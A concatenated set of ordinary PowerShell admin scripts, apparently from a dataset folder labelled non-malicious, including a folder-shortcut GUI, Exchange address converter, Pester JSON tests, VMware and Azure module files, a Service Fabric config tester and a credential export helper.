feEkNszJB4xHgCTMuD2SNmrX3Y0eQQU0QcbaL79MKo8sTMxESAcfk/CrJgB8l5yd # QRYi # SIG # End signature block
combined_dataset/train/non-malicious/1683.ps1
1683.ps1
$ShellApp = new-Object -ComObject shell.application Add-Type -AssemblyName PresentationFramework [xml]$xaml = @" <Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="AlliedVOA | Mini Desktop Tool - Folder Shortcuts | v1.5 " Height="150" Width="374" Background=" <Grid> <Button Content="Desktop" Height="23" HorizontalAlignment="Left" Name="button1" VerticalAlignment="Top" Width="75" Margin="12,12,0,0" /> <Button Content="Drives" Height="23" HorizontalAlignment="Left" Margin="93,12,0,0" Name="button2" VerticalAlignment="Top" Width="75" /> <Button Content="Control Pnl" Height="23" HorizontalAlignment="Left" Margin="174,12,0,0" Name="button3" VerticalAlignment="Top" Width="75" /> <Button Content="Favorites" Height="23" HorizontalAlignment="Left" Margin="255,12,0,0" Name="button4" VerticalAlignment="Top" Width="75" /> <Button Content="Printers" Height="23" HorizontalAlignment="Left" Margin="12,41,0,0" Name="button5" VerticalAlignment="Top" Width="75" /> <Button Content="History" Height="23" HorizontalAlignment="Left" Margin="93,41,0,0" Name="button6" VerticalAlignment="Top" Width="75" /> <Button Content="Net Conn" Height="23" HorizontalAlignment="Left" Margin="174,41,0,0" Name="button7" VerticalAlignment="Top" Width="75" /> <Button Content="Recent" Height="23" HorizontalAlignment="Left" Margin="255,41,0,0" Name="button8" VerticalAlignment="Top" Width="75" /> <Button Content="Prog Files" Height="23" HorizontalAlignment="Left" Margin="12,70,0,0" Name="button9" VerticalAlignment="Top" Width="75" /> <Button Content="Local Apps" Height="23" HorizontalAlignment="Left" Margin="93,70,0,0" Name="button10" VerticalAlignment="Top" Width="75" /> <Button Content="Start-Up" Height="23" HorizontalAlignment="Left" Margin="174,70,0,0" Name="button11" VerticalAlignment="Top" Width="75" /> </Grid> </Window> "@ $reader = (New-Object System.Xml.XmlNodeReader $xaml) $d = [Windows.Markup.XamlReader]::Load($reader) $desktop = $d.FindName("button1") $desktop.add_Click({ $ShellApp.Explore(0x00) }) $drives = $d.FindName("button2") $drives.add_Click({ $ShellApp.Explore(0x11) }) $cPanel = $d.FindName("button3") $cpanel.add_Click({ $ShellApp.Explore(0x03) }) $fav = $d.FindName("button4") $fav.add_Click({ $ShellApp.Explore(0x06) }) $printer = $d.FindName("button5") $printer.add_click({ $ShellApp.Explore(0x04) }) $history = $d.FindName("button6") $history.add_click({ $ShellApp.Explore(0x22) }) $network = $d.FindName("button7") $network.add_click({ ncpa.cpl }) $recent = $d.FindName("button8") $recent.add_click({ $ShellApp.Explore(0x08 ) }) $nethood = $d.FindName("button9") $nethood.add_click({ $ShellApp.Explore(0x26) }) $localapp = $d.FindName("button10") $localapp.add_click({ $ShellApp.Explore(0x1c) }) $startup = $d.FindName("button11") $startup.add_click({ $ShellApp.Explore(0x07) }) $d.ShowDialog() | Out-Null
combined_dataset/train/non-malicious/Convert-BounceToX_3.ps1
Convert-BounceToX_3.ps1
# $Id: Convert-BounceToX500.ps1 610 2010-11-16 00:39:19Z jon $ # $Revision: 610 $ #.Synopsis # Convert Bounce to X500 #.Description # Convert URL Encoded address in a Bounce message to an X500 address # that can be added as an alias to the mail-enabled object #.Parameter bounceAddress # URL Encoded bounce message address# #.Example # Convert-BounceToX500 "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com" #.Example # "IMCEAEX-_O=CONTOSO_OU=First+20Administrative+20Group_cn=Recipients_cn=john+5Fjacob+2Esmith@contoso.com"|Convert-BounceToX500 [CmdletBinding()] PARAM ( [Parameter(Mandatory=$true,ValueFromPipeline=$true)][string]$bounceAddress ) BEGIN { Add-Type -AssemblyName System.Web|Out-Null } PROCESS { if($_) {$bounceAddress = $_} $bounceAddress = $bounceAddress -Replace "%2B","%" # This is a urlEncoded "+" $bounceAddress = $bounceAddress -Replace "%3D","=" $bounceAddress = $bounceAddress -Replace "\\+","%" $bounceAddress = $bounceAddress -Replace "_O=","/O=" $bounceAddress = $bounceAddress -Replace "_OU=","/OU=" $bounceAddress = $bounceAddress -Replace "_CN=","/CN=" if([Web.HttpUtility]::UrlDecode($bounceAddress) -match "(/o=.*)@[\\w\\d.]+$"){$matches[1]} }
combined_dataset/train/non-malicious/1941.ps1
1941.ps1
Describe 'ConvertTo-Json' -tags "CI" { BeforeAll { $newline = [System.Environment]::NewLine } It 'Newtonsoft.Json.Linq.Jproperty should be converted to Json properly' { $EgJObject = New-Object -TypeName Newtonsoft.Json.Linq.JObject $EgJObject.Add("TestValue1", "123456") $EgJObject.Add("TestValue2", "78910") $EgJObject.Add("TestValue3", "99999") $dict = @{} $dict.Add('JObject', $EgJObject) $dict.Add('StrObject', 'This is a string Object') $properties = @{'DictObject' = $dict; 'RandomString' = 'A quick brown fox jumped over the lazy dog'} $object = New-Object -TypeName psobject -Property $properties $jsonFormat = ConvertTo-Json -InputObject $object $jsonFormat | Should -Match '"TestValue1": 123456' $jsonFormat | Should -Match '"TestValue2": 78910' $jsonFormat | Should -Match '"TestValue3": 99999' } It "StopProcessing should succeed" -Pending:$true { $ps = [PowerShell]::Create() $null = $ps.AddScript({ $obj = [PSCustomObject]@{P1 = ''; P2 = ''; P3 = ''; P4 = ''; P5 = ''; P6 = ''} $obj.P1 = $obj.P2 = $obj.P3 = $obj.P4 = $obj.P5 = $obj.P6 = $obj 1..100 | Foreach-Object { $obj } | ConvertTo-Json -Depth 10 -Verbose throw "Should not have thrown exception" }) $null = $ps.BeginInvoke() Wait-UntilTrue { $ps.Streams.Verbose.Count -gt 0 } | Should -BeTrue $null = $ps.BeginStop($null, $null) Start-Sleep -Milliseconds 100 $ps.InvocationStateInfo.State | Should -BeExactly "Stopped" $ps.Dispose() } It "The result string is packed in an array symbols when AsArray parameter is used." { $output = 1 | ConvertTo-Json -AsArray $output | Should -BeLike "``[*1*]" $output = 1,2 | ConvertTo-Json -AsArray $output | Should -BeLike "``[*1*2*]" } It "The result string is not packed in the array symbols when there is only one input object and AsArray parameter is not used." { $output = 1 | ConvertTo-Json $output | Should -BeExactly '1' } It "The result string should <Name>." -TestCases @( @{name = "be not escaped by default."; params = @{}; expected = "{$newline ""abc"": ""'def'""$newline}" } @{name = "be not escaped with '-EscapeHandling Default'."; params = @{EscapeHandling = 'Default'}; expected = "{$newline ""abc"": ""'def'""$newline}" } @{name = "be escaped with '-EscapeHandling EscapeHtml'."; params = @{EscapeHandling = 'EscapeHtml'}; expected = "{$newline ""abc"": ""\u0027def\u0027""$newline}" } ) { param ($name, $params ,$expected) @{ 'abc' = "'def'" } | ConvertTo-Json @params | Should -BeExactly $expected } It "Should handle null" { [pscustomobject] @{ prop=$null } | ConvertTo-Json -Compress | Should -BeExactly '{"prop":null}' $null | ConvertTo-Json -Compress | Should -Be 'null' ConvertTo-Json -Compress $null | Should -Be 'null' 1, $null, 2 | ConvertTo-Json -Compress | Should -Be '[1,null,2]' } It "Should handle 'AutomationNull.Value' and 'NullString.Value' correctly" { [ordered]@{ a = $null; b = [System.Management.Automation.Internal.AutomationNull]::Value; c = [System.DBNull]::Value; d = [NullString]::Value } | ConvertTo-Json -Compress | Should -BeExactly '{"a":null,"b":null,"c":null,"d":null}' ConvertTo-Json ([System.Management.Automation.Internal.AutomationNull]::Value) | Should -BeExactly 'null' ConvertTo-Json ([NullString]::Value) | Should -BeExactly 'null' ConvertTo-Json -Compress @( $null, [System.Management.Automation.Internal.AutomationNull]::Value, [System.DBNull]::Value, [NullString]::Value ) | Should -BeExactly '[null,null,null,null]' } It "Should handle the ETS properties added to 'DBNull.Value' and 'NullString.Value'" { try { $p1 = Add-Member -InputObject ([System.DBNull]::Value) -MemberType NoteProperty -Name dbnull -Value 'dbnull' -PassThru $p2 = Add-Member -InputObject ([NullString]::Value) -MemberType NoteProperty -Name nullstr -Value 'nullstr' -PassThru $p1, $p2 | ConvertTo-Json -Compress | Should -BeExactly '[{"value":null,"dbnull":"dbnull"},{"value":null,"nullstr":"nullstr"}]' } finally { $p1.psobject.Properties.Remove('dbnull') $p2.psobject.Properties.Remove('nullstr') } } }
combined_dataset/train/non-malicious/sample_0_63.ps1
sample_0_63.ps1
ConvertFrom-StringData @' id_symantecipscheck=Symantec Intrusion Prevention System (IPS) id_symantecipscheckdesc=Checking if Symantec Intrusion Prevention System (IPS) is installed '@ # SIG # Begin signature block # MIIoVQYJKoZIhvcNAQcCoIIoRjCCKEICAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCIKZ1Sn7S04Di1 # 2jkgJchzJLFqjE3XaoGx9rykX5VSTqCCDYUwggYDMIID66ADAgECAhMzAAAEA73V # lV0POxitAAAAAAQDMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMT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dn5TCVAAEAAAH7MCIEIOcOJM95z1rtLRPImI9GcCxcLV/lXPRviSc4 # qDRq2ZeFMA0GCSqGSIb3DQEBCwUABIICAAiLsp3UCRpPdriUpxTmWNNc6wbwvedx # mlmcSBi/P4XOJ6ThgUSJo7NmOD/Qq88Elf9iQ/qbjPes2WNtih9N5OI5WNNrHa1P # cSt4IhgpohSLglkiXv75l2eOOGgl/VIDmGaD1GfhypubxEQ7sbZ9rBhdpizTNbgW # Wp8CJLGrKHkwYiDFK5YFQq1ZMPmnhLZ3ag1YcchTIP9JkcOzq/FjmEyesZaPhFXu # FAGS5MPZH2Tb3mkzX5G4Xd/rhleYIOFRPJIAieuhMQrD8H4NOk+99J05RJbENxwj # HS3gi5UGBKhYpNA7S5xNAsy7AhCw5UyWza3X1X6SOU476eF5nFG/HQAzBCzbJVCH # 7PPENgt0L3B5BkYNQzstokCzy8zngBLFlBChdEDPu+A2yGR7BLs7FEyhMgUJ8HXc # 7nZ0b51bB/u5mTnIBFyXsFuHTVEcVSok0ruKnQAKXBOw2/hDvqrkMfzuUmRQVQ2v # rjmGZGsBItQXq77bdAu91YSb01B6PaQvwLJw0PY1BPpT3TpqcRiH4CWQ5fXSJu76 # bXC6sp/3xEfp2FrYBEsplDE3qtwoAarW1cLMMEmcZYy5D3/zMp7rbQo/91Q2pXOD # bE0ReHbl6u6pGXwTTa3hmruj/v2TfzjlgKfMrB5kr27vXBMx5g734KPGuVhus51u # TEzXQ7pIHKOI # SIG # End signature block
combined_dataset/train/non-malicious/9efa67c2-1147-4c7c-92f8-98b63b15cebd.ps1
9efa67c2-1147-4c7c-92f8-98b63b15cebd.ps1
Function Get-VMHostNetworks { <# .SYNOPSIS Return a list of networks from a given host .DESCRIPTION After connecting to your VI server, we get a list of virtual switches on the datacenter and from that we pull out the VHostID that matches the server we passed in at the command-line. Using the VHostID we return a list of networks objects on that server. .PARAMETER VMHost The name of the VMWare Host Server to pull networks from .PARAMETER VIServer The name of your VSPhere Server .EXAMPLE Get-VMHostNetworks -VMHost v1.copmany.com -VIServer vc.company.com Name Key VLanId PortBinding NumPorts ---- --- ------ ----------- -------- Management Network key-vim.host.PortGroup-Mana... 0 DMZ Network key-vim.host.PortGroup-DMZ ... 100 Admin Network key-vim.host.PortGroup-Admi... 101 Description ----------- This shows the output from the command using all parameters. .NOTES This script requires the VMware vSphere PowerCLI to be downloaded and installed, please see the second link for the download. .LINK http://scripts.patton-tech.com/wiki/PowerShell/VMWareManagement#Get-VMHostNetworks .LINK http://communities.vmware.com/community/vmtn/server/vsphere/automationtools/powercli .LINK http://www.vmware.com/support/developer/PowerCLI/PowerCLI41U1/html/Connect-VIServer.html .LINK http://www.vmware.com/support/developer/PowerCLI/PowerCLI41U1/html/Get-VirtualSwitch.html .LINK http://www.vmware.com/support/developer/PowerCLI/PowerCLI41U1/html/Get-VirtualPortGroup.html #> Param ( [string]$VMHost, [string]$VIServer ) Begin { Try { Connect-VIServer -Server $VIServer $VSwitches = Get-VirtualSwitch } Catch { Return $Error[0] } } Process { foreach ($Vswitch in $VSwitches) { If ($VSwitch.VMHost.Name -like "$($VMhost)*") { $VHostID = $VSwitch.VMHost.Id } } $VMNetworks = Get-VirtualPortGroup |Where-Object {$_.VMhostID -eq $VhostID} } End { Return $VMNetworks } }
combined_dataset/train/non-malicious/764.ps1
764.ps1
function Stop-Process2 { [CmdletBinding(SupportsShouldProcess = $true)] [Alias()] [OutputType([int])] param( [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true, Position=0)] $Name ) process { if ($PSCmdlet.ShouldProcess("")) { $processes = Get-Process -Name $Name foreach ($process in $processes) { $id = $process.Id $name = $process.Name Write-Output "Killing $name ($id)" $process.Kill(); Start-Sleep -Seconds 1 } } } }
combined_dataset/train/non-malicious/sample_54_63.ps1
sample_54_63.ps1
# # Module manifest for module 'Az.Support' # # Generated by: Microsoft Corporation # # Generated on: 5/16/2024 # @{ # Script module or binary module file associated with this manifest. RootModule = 'Az.Support.psm1' # Version number of this module. ModuleVersion = '2.0.0' # Supported PSEditions CompatiblePSEditions = 'Core', 'Desktop' # ID used to uniquely identify this module GUID = '22d73af7-38c2-4bf6-b56f-4dc9db05d97a' # Author of this module Author = 'Microsoft Corporation' # Company or vendor of this module CompanyName = 'Microsoft Corporation' # Copyright statement for this module Copyright = 'Microsoft Corporation. All rights reserved.' # Description of the functionality provided by this module Description = 'Microsoft Azure PowerShell - Azure Support cmdlets for Azure Resource Manager in Windows PowerShell and PowerShell Core.' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '5.1' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. DotNetFrameworkVersion = '4.7.2' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @() # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'Support.Autorest/bin/Az.Support.private.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module FormatsToProcess = 'Support.Autorest/Az.Support.format.ps1xml' # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess NestedModules = @('Support.Autorest/Az.Support.psm1') # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = 'Get-AzSupportChatTranscript', 'Get-AzSupportChatTranscriptsNoSubscription', 'Get-AzSupportCommunication', 'Get-AzSupportCommunicationsNoSubscription', 'Get-AzSupportFile', 'Get-AzSupportFilesNoSubscription', 'Get-AzSupportFileWorkspace', 'Get-AzSupportFileWorkspacesNoSubscription', 'Get-AzSupportOperation', 'Get-AzSupportProblemClassification', 'Get-AzSupportService', 'Get-AzSupportTicket', 'Get-AzSupportTicketsNoSubscription', 'New-AzSupportCommunication', 'New-AzSupportCommunicationsNoSubscription', 'New-AzSupportFileAndUpload', 'New-AzSupportFileAndUploadNoSubscription', 'New-AzSupportFileWorkspace', 'New-AzSupportFileWorkspacesNoSubscription', 'New-AzSupportTicket', 'New-AzSupportTicketsNoSubscription', 'Test-AzSupportCommunicationNameAvailability', 'Test-AzSupportCommunicationsNoSubscriptionNameAvailability', 'Test-AzSupportTicketNameAvailability', 'Test-AzSupportTicketsNoSubscriptionNameAvailability', 'Update-AzSupportTicket', 'Update-AzSupportTicketsNoSubscription' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = @() # Variables to export from this module # VariablesToExport = @() # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = @() # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'Azure','ResourceManager','ARM','Support' # A URL to the license for this module. LicenseUri = 'https://aka.ms/azps-license' # A URL to the main website for this project. ProjectUri = 'https://github.com/Azure/azure-powershell' # A URL to an icon representing this module. # IconUri = '' # ReleaseNotes of this module ReleaseNotes = '* Converted Az.Support to autorest-based module.' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' } # SIG # Begin signature block # MIIoLQYJKoZIhvcNAQcCoIIoHjCCKBoCAQExDzANBglghkgBZQMEAgEFADB5Bgor #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UmT7QFeaZzR3Z6CD+77pjzsBfFfk31Y/U # cepm/fv8Z+/ZOzo/okF1+Yc= # SIG # End signature block
combined_dataset/train/non-malicious/sample_66_58.ps1
sample_66_58.ps1
# ------------------------------------------------------------ # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See License.txt in the repo root for license information. # ------------------------------------------------------------ param ( [Parameter(Mandatory=$true)] [string] $ClusterConfigFilePath, [Parameter(Mandatory=$false)] [string] $OldClusterConfigFilePath, [Parameter(Mandatory=$false)] [switch] $FabricIsPreInstalled, [Parameter(Mandatory=$false)] [string] $FabricRuntimePackagePath, [Parameter(Mandatory=$false)] [int] $MaxPercentFailedNodes ) $Identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $Principal = New-Object System.Security.Principal.WindowsPrincipal($Identity) $IsAdmin = $Principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator) if(!$IsAdmin) { Write-host "Please run the script with administrative privileges." -ForegroundColor "Red" exit 1 } $ThisScriptPath = $(Split-Path -parent $MyInvocation.MyCommand.Definition) $DeployerBinPath = Join-Path $ThisScriptPath -ChildPath "DeploymentComponents" if(!(Test-Path $DeployerBinPath)) { $DCAutoExtractorPath = Join-Path $ThisScriptPath "DeploymentComponentsAutoextractor.exe" if(!(Test-Path $DCAutoExtractorPath)) { Write-Host "Standalone package DeploymentComponents and DeploymentComponentsAutoextractor.exe are not present local to the script location." exit 1 } #Extract DeploymentComponents $DCAutoExtractorCommand = "`"$DCAutoExtractorPath`" /E /Y /L `"$ThisScriptPath`"" # special case for older powershell versions < 5 if ($PSVersionTable.PSVersion.Major -lt 5) { $DCAutoExtractorCommand = "`"`"$DCAutoExtractorPath`" /E /Y /L `"$ThisScriptPath`"`"" } Write-Host "running autoextractor command: $DCAutoExtractorCommand" $DCExtractOutput = cmd.exe /c "$DCAutoExtractorCommand && exit 0 || exit 1" if($LASTEXITCODE -eq 1) { Write-Host "Extracting DeploymentComponents Cab ran into an issue." Write-Host $DCExtractOutput exit 1 } else { Write-Host "DeploymentComponents extracted." } } $SystemFabricModulePath = Join-Path $DeployerBinPath -ChildPath "System.Fabric.dll" if(!(Test-Path $SystemFabricModulePath)) { Write-Host "Run the script local to the Standalone package directory." exit 1 } $MicrosoftServiceFabricCabFileAbsolutePath = $null if($FabricRuntimePackagePath) { $MicrosoftServiceFabricCabFileAbsolutePath = Resolve-Path $FabricRuntimePackagePath if(!(Test-Path $MicrosoftServiceFabricCabFileAbsolutePath)) { Write-Host "Microsoft Service Fabric Runtime package not found in the specified directory : $FabricRuntimePackagePath" exit 1 } } $ClusterConfigFilePath = Resolve-Path $ClusterConfigFilePath $OldClusterConfigFileAbsolutePath = $null if($OldClusterConfigFilePath) { $OldClusterConfigFileAbsolutePath = Resolve-Path $OldClusterConfigFilePath } $ServiceFabricPowershellModulePath = Join-Path $DeployerBinPath -ChildPath "ServiceFabric.psd1" $parentVerbosePreference = $VerbosePreference # Invoke in separate AppDomain $argList = @($DeployerBinPath, $ServiceFabricPowershellModulePath, $ClusterConfigFilePath, $OldClusterConfigFileAbsolutePath, $FabricIsPreInstalled.IsPresent, $MicrosoftServiceFabricCabFileAbsolutePath, $MaxPercentFailedNodes, $parentVerbosePreference) Powershell -Command { param ( [Parameter(Mandatory=$true)] [string] $DeployerBinPath, [Parameter(Mandatory=$true)] [string] $ServiceFabricPowershellModulePath, [Parameter(Mandatory=$true)] [string] $ClusterConfigFilePath, [Parameter(Mandatory=$false)] [string] $OldClusterConfigFilePath, [Parameter(Mandatory=$false)] [bool] $FabricIsPreInstalled, [Parameter(Mandatory=$false)] [string] $MicrosoftServiceFabricCabFileAbsolutePath, [Parameter(Mandatory=$false)] [int] $MaxPercentFailedNodes, [Parameter(Mandatory=$false)] [string] $ParentVerbosePreference ) #Add FabricCodePath Environment Path $env:path = "$($DeployerBinPath);" + $env:path #Import Service Fabric Powershell Module Import-Module $ServiceFabricPowershellModulePath #Create a cluster Try { $VerbosePreference = $ParentVerbosePreference $params = @{ 'ClusterConfigurationFilePath' = $ClusterConfigFilePath; 'OldClusterConfigurationFilePath' = $OldClusterConfigFilePath; 'FabricRuntimePackagePath' = $MicrosoftServiceFabricCabFileAbsolutePath; 'FabricIsPreInstalled' = $FabricIsPreInstalled; 'MaxPercentFailedNodes' = $MaxPercentFailedNodes; } Test-ServiceFabricConfiguration @params } Catch { Write-Host "Test Config failed with exception: $($_.Exception.ToString())" -ForegroundColor Red exit 1 } } -args $argList -OutputFormat Text # SIG # Begin signature block # MIIoKgYJKoZIhvcNAQcCoIIoGzCCKBcCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAZmrzw2LbtLCAo # MgDBZcfzCjcB59313Jz52NVBP6VHcqCCDXYwggX0MIID3KADAgECAhMzAAADrzBA # DkyjTQVBAAAAAAOvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjMxMTE2MTkwOTAwWhcNMjQxMTE0MTkwOTAwWjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB # AQDOS8s1ra6f0YGtg0OhEaQa/t3Q+q1MEHhWJhqQVuO5amYXQpy8MDPNoJYk+FWA # hePP5LxwcSge5aen+f5Q6WNPd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cC1+EIJF # xGfkAwtmgXd99B53w9FSTfHWkbJ7LINkJd7ObSnULnilbamkWrjj9pDSrxAJLo6c # eUvQQKSMsDHz0YVsXrFrmp7xT6T0brQAwkYNUvq08u+Cq0mBgxU8lIRU2hNgcPdC # Jbep4zePi0cvdsmvUs99xOXTcSI8JotTUmUCbaeduluJrEEuODvPi74BGRjLYmIH # du84uJIuR8gHFSVx+K6FGlinEfrvuFUVGlQ8CsKaCAnXHe0EjLij37vYbr9t9rgu # 0+S/GP7Xn5ylDa9ltE42qDIxKmZzFgDJSLzDzGNxigD+StWJg67x6k7Eo7NatVaR # yvG74ZIQ3YB+kuI5qWE= # SIG # End signature block
combined_dataset/train/non-malicious/sample_5_98.ps1
sample_5_98.ps1
ConvertFrom-StringData @' id_hypervregcheck=Checking SCSI Subkeys for Hyper-V id_hypervregcheckdesc=Checking for Hyper-V SCSI Registry Subkeys '@ # SIG # Begin signature block # MIIoVQYJKoZIhvcNAQcCoIIoRjCCKEICAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCrx6AtniJZ87W1 # EJpmtPasjOdC2c4WZ+g/uht+oc9seKCCDYUwggYDMIID66ADAgECAhMzAAAEA73V # lV0POxitAAAAAAQDMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjQwOTEyMjAxMTEzWhcNMjUwOTExMjAxMTEzWjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHU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CvtUJRBje5bZ5j+l7aFtKzb1cdQHELDm0q9cOTv/aGMqqo # pYUbXnuFAqGXMKpCooSOBR0G8wt/6pKXQXkxSmYG9gfyLrxWIUVZnqIU8QHancu0 # P4eNvEO5u/pZtknmEQsYFMRgKNzzy7MXLPSO6ltc6xFn/BxitozrVZfVAqk9GYh0 # yce5UhsbWfEuXgrPc3UjLaOsSzAqdHH+hYVx1ny8kP+9IhMaRYR2xccYbxdgL4Kh # 2QMO+5pRGhoBOJOPBrO4ustCjh2xKm9yyW7xmehUgJU6AROnVIUvcvon+BOUBn0S # EVgm6BOz2Rywoa5Fpi8oGI45KfjttLZO6GxSQQny1iVvt5XZpfGczH7MPm3Ppl6V # EO2jZpTcyWf/aZebo9ptkXTwdODorvwrYYM0rsTOMBnc+EPF1PmFvhiINMWw2E/g # x9ymkS9NWBcEbkHfAM20aPwGi0Jg5xxTZDsJEE03a0Y10KU8rdwd/Y+8c+bUPkwy # awUazM5al+n6JROlm6n60Kftl3QiT3xDkfVzUShHsRRkVu9NVt5xkpuJWVkvALc8 # csyj1M8088AyLp1XCfte1CSonLDhOJZZQdyIXBCcuY0y/v1e4KuxOgeLdIeIVLIZ # JJj4il+j6a7v # SIG # End signature block
combined_dataset/train/non-malicious/480.ps1
480.ps1
function Export-PSCredential{ param( [Parameter(Mandatory=$true)] $Credential = (Get-Credential), [Parameter(Mandatory=$false)] [String] $Path ) switch ($Credential.GetType().Name) { PSCredential{ continue } String{ $Credential = Get-Credential -credential $Credential } default{ Throw "You must specify a credential object to export." } } $Export = "" | Select-Object Username, EncryptedPassword $Export.PSObject.TypeNames.Insert(0,"ExportedPSCredential") $Export.Username = $Credential.Username $Export.EncryptedPassword = $Credential.Password | ConvertFrom-SecureString if($Path -ne ""){ if($Path.EndsWith("\")){ $Path = $Path + "temp.credential.config.xml" } if(!(Test-Path (Split-Path $Path -Parent))){New-Item -ItemType directory -Path (Split-Path $Path -Parent) | Out-Null} }else{ $Path = "temp.credential.config.xml" } $Export | Export-Clixml $Path Get-Item $Path }
combined_dataset/train/non-malicious/sample_36_24.ps1
sample_36_24.ps1
# # Module manifest for module 'Az.DevCenter' # # Generated by: Microsoft Corporation # # Generated on: 23/04/2024 # @{ # Script module or binary module file associated with this manifest. RootModule = 'Az.DevCenter.psm1' # Version number of this module. ModuleVersion = '1.1.1' # Supported PSEditions CompatiblePSEditions = 'Core', 'Desktop' # ID used to uniquely identify this module GUID = 'accceef6-8113-453a-a31c-4f2ce57893d6' # Author of this module Author = 'Microsoft Corporation' # Company or vendor of this module CompanyName = 'Microsoft Corporation' # Copyright statement for this module Copyright = 'Microsoft Corporation. All rights reserved.' # Description of the functionality provided by this module Description = 'Microsoft Azure PowerShell: DevCenter cmdlets' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '5.1' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. DotNetFrameworkVersion = '4.7.2' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @() # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'DevCenter.AutoRest/bin/Az.DevCenter.private.dll', 'DevCenterData.AutoRest/bin/Az.DevCenterdata.private.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module FormatsToProcess = 'DevCenter.AutoRest\Az.DevCenter.format.ps1xml', 'DevCenterData.AutoRest\Az.DevCenterdata.format.ps1xml' # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess NestedModules = @('DevCenter.AutoRest/Az.DevCenter.psm1', 'DevCenterData.AutoRest/Az.DevCenterdata.psm1') # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. 